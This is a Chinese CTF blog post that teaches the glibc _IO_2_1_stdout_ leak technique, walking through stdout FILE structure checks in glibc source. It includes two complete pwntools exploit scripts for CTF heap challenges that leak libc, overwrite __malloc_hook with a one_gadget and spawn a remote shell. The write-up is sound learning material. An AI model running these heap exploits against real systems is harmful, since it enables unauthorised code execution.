MENU

_IO_2_1_stdout_ leak

December 2, 2020 • Read: 614 • Pwn

学习背景:

在看雪CTF平台中,天涯海角一题的Writeup看到了这个,看完之后甚至有些不想学House of Roman了。
wpcut.png
毕竟对于我这种脸黑的人,连4 bits爆破都要试个不下30遍。更不要谈12 bits了,那简直就是噩梦。
但是我不确定我能否把这部分讲清楚,但是本着让自己加深理解的初衷,还是写了这篇文章。
不过这个利用方法如果不懂原理也是可以成功利用的,所以先讲怎么利用,再讲为什么这样利用。
本篇文章的内容极有可能出现错误,请各位师傅雅正。
话不多说,我们进入正题吧。

题目类型:

1.无show函数,也就是leak不了堆内容(如果有show函数,那么就可以利用unsorted bin leak)
2.FULL RELRO,也就是got表无法修改(如果可以修改,那么就可以修改free为puts来leak)
3.能够间接(修改size再free)或者直接(直接malloc)的free chunk到unsorted bin,从而在chunk上存在main_arena + 88的地址。
4.能够让3中在unsorted bin中的chunk同时也存在于fastbin中(修改size为0x71,再free),实现fastbin attck
5.能够UAF,部分写入数据到unsored bin->FD覆盖(main_arena + 88)的后两个字节(低地址),使其指向到stdout附近从而可以修改_flags等数据。
这一步中有一些细节需要处理:
a.部分覆盖的具体值由调试可知,因为要检测fastbin size是否在对应范围内,所以要在stdout之前找到一块可以伪造的地址。这个技巧类似于__malloc_hook的修改方法。
b.由于在libc中只有后12个位是固定的,所以我们需要爆破后两个字节中的前4个位,也就是我们有(1/16)的几率利用成功。

利用方法:

1.设fp = _IO_2_1_stdout_
2.绕过一些会报错的检测
a.修改fp->flag = 0xfdab1800(_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING)
b.输出过内容(_IO_CURRENTLY_PUTTING = 1)
3.修改fp->_IO_write_base = leak addr,一般写入单字节(0x58),这样输出的地址中会有很多libc的地址。
如果是用b的绕过方法,那么还需要让_IO_read_end == _IO_write_base

利用原理:

内存中有stdiout,stdin,stderr这三个指针,这三个指针一般在bss段上用于输出读入数据,所指向的内容在libc中,而且结构可以被修改,当我们有任意写的权限时候,我们就可以修改stdout的结构体来泄露libc。
point.png
当调用put、printf等输出函数的时候,会利用stdout指针进行输出。
先看一下stdout所指向的结构是怎么样的:
stdout.png
我们需要的是修改的是_flags和_IO_write_base,由于一般覆盖只有一次,所以我们也需要覆盖到中间的三个指针(_IO_read_ptr, _IO_read_end, _IO_read_base)。由于stdout是用于输出的,所以这三个指针实际上并没有用到,我们可以直接覆盖为p64(0)[0x00000000]。

那么这些指针是干什么用的呢?
我们来看别的师傅是怎么解释的。

其中_IO_buf_base和_IO_buf_end是缓冲区建立函数。
_IO_doallocbuf会在里面建立输入输出缓冲区,并把基地址保存在_IO_buf_base中,结束地址保存在_IO_buf_end中。
在建立里输入输出缓冲区后,如果缓冲区作为输出缓冲区使用,会将基址址给_IO_write_base,结束地址给_IO_write_end,同时_IO_write_ptr表示为已经使用的地址。
即_IO_write_base到_IO_write_ptr之间的空间是已经使用的缓冲区,_IO_write_ptr到_IO_write_end之间为剩余的输出缓冲区。

所以之所以图中_IO_write_ptr - _IO_write_base = 1,_IO_write_end == _IO_write_ptr也就是只有长度1,原因就是改程序在初始化的时候使用了。

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);

让内容立马输出出来,也就是1字节输出1次。
所以如果我们能够把_IO_write_base改小,那么_IO_write_base 到 _IO_write_ptr这一段的内容将在下一次输出的时候一起输出出来,就达到了泄露的目的。
而且_IO_write_base在一次输出后就会调整为原来的值,也就是这一块的内容只输出一次。

那flag修改的这个值的意义是什么?
这里先给出下面一些会用到的常量的(glibc/libio/libio.h)

/* Magic number and bits for the _flags field.  The magic number is
   mostly vestigial, but preserved for compatibility.  It occupies the
   high 16 bits of _flags; the low 16 bits are actual flag bits.  */
#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

输出具体的调用是(以puts为例):
_IO_puts -> _IO_sputn -> _IO_new_file_xsputn -> _IO_overflow -> _IO_new_file_overflow
而最重要的检测也在_IO_new_file_overflow 中,所以我们主要来观察他的源码,我们分段解释。
函数定义

int _IO_new_file_overflow (FILE *f, int ch)

检测_IO_NO_WRITES

if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
  f->_flags |= _IO_ERR_SEEN;
  __set_errno (EBADF);
  return EOF;
}

顾名思义,_IO_NO_WRITES就是来判断是否可以写出数据的,为1表示禁止,为0表示允许。
与他类似的还有一个_IO_NO_READS,但是我们这里主要是leak,所以用不到_IO_NO_READS。
这个,_IO_NO_WRITES在stdin中是为1的, 在stdout中是为0的。
同理,_IO_NO_WRITES在stdout中是为0的,在stdoin中是为1的。
所以,(fp->_flags & _IO_NO_WRITES) == 0需要被满足

检测_IO_CURRENTLY_PUTTING

if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
    /* Allocate a buffer if needed. */
    if (f->_IO_write_base == NULL)
    {
        _IO_doallocbuf (f);
        _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
    /* Otherwise must be currently reading.
     If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
     logically slide the buffer forwards one block (by setting the
     read pointers to all point at the beginning of the block).  This
     makes room for subsequent output.
     Otherwise, set the read pointers to _IO_read_end (leaving that
     alone, so it can continue to correspond to the external position). */
    if (__glibc_unlikely (_IO_in_backup (f)))
    {
        size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
        _IO_free_backup_area (f);
        f->_IO_read_base -= MIN (nbackup,
                               f->_IO_read_base - f->_IO_buf_base);
        f->_IO_read_ptr = f->_IO_read_base;
    }
    if (f->_IO_read_ptr == f->_IO_buf_end)
    f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
    f->_IO_write_ptr = f->_IO_read_ptr;
    f->_IO_write_base = f->_IO_write_ptr;
    f->_IO_write_end = f->_IO_buf_end;
    f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
    f->_flags |= _IO_CURRENTLY_PUTTING;
    if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
    f->_IO_write_end = f->_IO_write_ptr;
}

这么长一段在干什么,其实不用特别的关心,我们要知道这个_IO_CURRENTLY_PUTTING是用来判断是否初始化的,如果没有初始化那么为0,如果初始化过了那么为1。一般来说,程序都要输出内容,输出过内容的话,那么这个位就会为1。
如果这个没做到的话,当你输出的时候,你篡改的_IO_write_base也会被他还原,这样就没办法泄露了。
所以,(f->_flags & _IO_CURRENTLY_PUTTING) == 1需要被满足

检测3:

if (do_write)
{
  count = new_do_write (f, s, do_write);
  to_do -= count;
  if (count < do_write)
    return n - to_do;
}

这一部分检测是调用进入另一个函数new_do_write (f, s, do_write)中了。

static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
  size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      off64_t new_pos
        = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
        return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
                       && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
                       ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

最主要的就是
if (fp->_flags & _IO_IS_APPENDING) 和
else if (fp->_IO_read_end != fp->_IO_write_base)

这里就是上面所说的两种绕过方法的地方。
1.进入if (fp->_flags & _IO_IS_APPENDING)执行fp->_offset = _IO_pos_BAD;。
2.不执行else if (fp->_IO_read_end != fp->_IO_write_base)
这两者都能达到目的,也就是说,我们要满足
1.fp->_flags & _IO_IS_APPENDING == 1
2.fp->_IO_read_end == fp->_IO_write_base
两者其一,一般是选择前者。

计算_flags的值
所以fp->_flags需要满足以下条件:
1.(fp->_flags & _IO_NO_WRITES) == 0
2.(fp->_flags & _IO_CURRENTLY_PUTTING) == 1
3.(fp->_flags & _IO_IS_APPENDING) == 1
计算可得,fp->_flags = 0xfdab1800, 其中_IO_MAGIC = 0xfdab0000,这是个Magic Number,是固定的。

应用实例:

weapon
保护全开,不能使用修改free@got.plt -> puts@got.plt这样的方法。
具体利用思路参照参考链接3,这里只放出我的exp。

from pwn import *
from LibcSearcher import *

def choice(idx):
    r.sendlineafter("choice >> ", str(idx))

def create(size, idx, content = 'a'):
    choice(1)
    r.sendlineafter("wlecome input your size of weapon: ", str(size))
    r.sendlineafter("input index: ", str(idx))
    r.sendafter("input your name:", content)

def delete(idx):
    choice(2)
    r.sendlineafter("input idx :", str(idx))

def rename(idx, content):
    choice(3)
    r.sendlineafter("input idx: ", str(idx))
    r.sendafter("new content:", content)

def pwn():
    create(0x18, 0, p64(0) + p64(0x21)) #0x21
    create(0x18, 1) #0x21
    create(0x48, 2) #0x51 0x71
    create(0x18, 3) #0x21 0x91
    create(0x18, 4) #top chunk
    delete(0)
    delete(1)
    
    # partial overwrite1 & fastbin attack1
    rename(1, '\x10')
    create(0x18, 1) #0x21
    create(0x18, 5) #0x21

    # free -> fastbin
    rename(5, 'a' * 0x8 + p64(0x71))
    delete(1)

    # free -> unsorted bin
    rename(5, 'a' * 0x8 + p64(0x91))
    delete(1)

    # partial overwrite2 -> change fd
    rename(1, p16(0x8620 - 0x43))
    
    rename(5, 'a' * 0x8 + p64(0x71))
    
    create(0x60, 6)
    # change _flags = 0xfbad1800 and partial overwrite3(_IO_write_base 0x58)
    create(0x60, 7, 'a' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + p8(0x58))
    
    #leak
    context.log_level = "debug"
    stdout_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 131
    print "stdout_addr: " + hex(stdout_addr)
    
    libc = LibcSearcher('_IO_2_1_stdout_', stdout_addr)
    libc_base = stdout_addr - libc.dump('_IO_2_1_stdout_')
    print "libc_base: " + hex(libc_base)
    
    malloc_hook_addr = libc_base + libc.dump('__malloc_hook')
    print "malloc_hook_addr: " + hex(malloc_hook_addr)
    
    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    one_gadget = libc_base + one[2]
    print "one_gadget: " + hex(one_gadget)
    
    #fastbin attack2; __malloc_hook
    create(0x60, 8)
    delete(8)
    rename(8, p64(malloc_hook_addr - 0x23))
    create(0x60, 8)
    create(0x60, 9, 'a' * 0x13 + p64(one_gadget))
    
    # double free -> getshell
    delete(8)
    delete(8)
    r.interactive()
    
while True:
    try:
        #r = process('./de1ctf_2019_weapon')
        r = remote('node3.buuoj.cn', 26445)
        pwn()
    except:
        pass

UNCTF2020 baby_heap
这道题got表可以写,而且也有shell函数,所以其实也可以不利用这个方法来leak(可以修改free@got.plt为puts@plt)。甚至可以不leak,直接修改free@got.plt为shell函数。
但是据出题者所说,有shell函数的原因是因为刚开始打靶机没打通,所以加了shell函数降低难度。
所以我们这里尝试用出题者的本来的意思来试试看这道题目(官方wp的写法)。

修正:这里本来说错了,经过研究发现,并不是释放的bin的size为0xf1的时候会进入unsorted bin,而是释放的bin的size为0xf1的时候对应fastbinsY的内容不是0,即fastbinsY[13] > 0,它已经越界到unsorted bin那部分的内容里面了,所以内容正好是之前构造的free_list的地址,这正好是我们需要的libc空间的地址,最终在释放的时候把对应的内容作为fd拿了过来,再利用partial overwrite 写入

因为 _IO_2_1_stdout_ leak要求你先释放一次为fastbin,然后再释放一次为unsorted bin,否则无法在fastbin堆块上构造出main_arena + 88,不过需要注意的是,这道题目由于先修改global_max_fast的时候有一个bin在unsorted bin中,所以第二次释放时的堆块地址,并不是main_arena + 88,而是之前释放堆块的BK,也就是之前伪造的free_list(global_max_fast - 0x10)的位置,不过稍微思考一下也就知道了,具体原因见上。

最后,我之前认为进行unsorted bin attack之后的unsorted bin那块地方由于corrupted,所以不能free和malloc其他块。
结果发现,free一切正常;
但是malloc的时候会报错,不过如果你先free一个块(corrupted后),再malloc一次,那就可以了。

还有就是这道题我错怪官方题解了,我刚开始以为官方题解写的又臭又长,现在终于发现了,原来是真的要那么长,而且一点也不臭十分优美,是我太菜没错了。

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#r = process('./pwn')
r = remote('node2.hackingfor.fun', 32625)
elf = ELF('./pwn')
context.log_level = "debug"

def en(c):
    c = int(c, 16)
    return(c * c * c) % 33

def add_note(size):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("size?", str(size))
    r.sendlineafter("content?", "a")

def delete_note(idx):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("index ?", str(idx))

def change_note(idx, content):
    r.sendlineafter(">> ", "4")
    r.sendlineafter("index ?", str(idx))
    r.sendafter("what is your new content ?", content)

r.recvuntil("welcome to game+++++++\n")
data = r.recvuntil("\n", drop=True).split(' ')
aslr = (en(data[3]) - 1) * 0x1000
free_list_addr = en(data[3]) * 0x1000 + en(data[2]) * 0x100 + en(data[1]) * 0x10 + en(data[0])
print 'aslr: ' + hex(aslr)

add_note(0x18)     #0

add_note(0x18) #21  1
add_note(0x18) #21  2
add_note(0x18) #21  3
add_note(0x68) #71  4

add_note(0x78)     #5

change_note(0, 'a' * 0x18 + '\xD1')
delete_note(1)

add_note(0x18) #1 == 1
add_note(0x18) #6 == 2
add_note(0x18) #7 == 3
add_note(0x68) #8 == 4

change_note(6, 'a' * 0x18 + '\x91')
delete_note(7) 
add_note(0x88) #7 -> 0x91

delete_note(2) #to unsorted bin
change_note(6, p64(0) + p16(free_list_addr)) #change bk
add_note(0x18) #2 unsorted bin attack

#fastbin attack -> stdout - 0x43
delete_note(4) #to fastbin
change_note(7, 'a' * 0x18 + p64(0xf1)) #size:0xf1
delete_note(8) #to unsorted bin & double free(4 & 8)
change_note(7, 'a' * 0x18 + p64(0x71) + p16(0x620 - 0x43 + aslr)) #change size to 0x71 & change fd to stdout - 0x43

add_note(0x68) #4
add_note(0x68) #8 stdout - 0x43
change_note(8, '\x00' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + p8(0x58)) #change _flags & IO_write_base

#leak
stdout_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 131
libc = LibcSearcher('_IO_2_1_stdout_', stdout_addr)
libc_base = stdout_addr - libc.dump('_IO_2_1_stdout_')
malloc_hook_addr = libc_base + libc.dump('__malloc_hook')
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadget = libc_base + one[2]

#fastbin attack -> __malloc_hook - 0x23
delete_note(4)
change_note(7, 'a' * 0x18 + p64(0x71) + p64(malloc_hook_addr - 0x23))
add_note(0x68) #4
add_note(0x68) #9
change_note(9, 'a' * 0x13 + p64(one_gadget))

#free error -> malloc -> __malloc_hook -> one_gadget -> shell
delete_note(9)

r.interactive()

ByteCTF 2019 note_five
http://blog.wjhwjhn.com/archives/117/
非常难的一道题,所以我专门开了一个帖子来讲。
如果这道题成功leak了,那么对_IO_FILE leak基本上是没问题了。
利用方法的话不属于本文章内容。

参考链接:

1.http://www.pwn4fun.com/pwn/io-2-1-stdout-leak-libc.html
2.http://blog.eonew.cn/archives/1190
3.https://n0va-scy.github.io/2019/09/21/IO_FILE/

Last Modified: December 20, 2020
Archives QR Code Tip
QR Code for this page
Tipping QR Code